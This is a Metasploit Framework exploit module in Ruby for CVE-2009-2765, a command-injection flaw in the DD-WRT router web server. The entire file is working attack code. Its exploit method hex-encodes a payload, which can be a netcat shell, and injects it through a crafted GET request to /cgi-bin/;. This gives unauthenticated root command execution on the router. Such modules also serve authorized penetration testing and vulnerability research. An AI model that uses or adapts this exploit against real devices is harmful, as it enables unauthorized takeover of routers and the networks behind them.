##
# $Id: ddwrt_cgibin_exec.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
			'Description'    => %q{
				This module abuses a metacharacter injection vulnerability in the
			HTTP management server of wireless gateways running DD-WRT. This flaw
			allows an unauthenticated attacker to execute arbitrary commands as
			the root user account.
			},
			'Author'         => [ 'gat3way', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'CVE', '2009-2765'],
					[ 'OSVDB', '55990' ],
					[ 'BID', '35742' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/9209'],

				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'RequiredCmd' => 'generic netcat-e'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0))

			register_options(
				[
					Opt::RPORT(80)
				], self.class)
	end

	def exploit
		connect

		cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
		str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
		req =
			"GET /cgi-bin/;#{str} HTTP/1.1\r\n" +
			"Host: #{rhost}\r\n" +
			"Content-Length: 0\r\n\r\n"

		print_status("Sending GET request with encoded command line...")
		sock.put(req)

		handler
		disconnect
	end

end

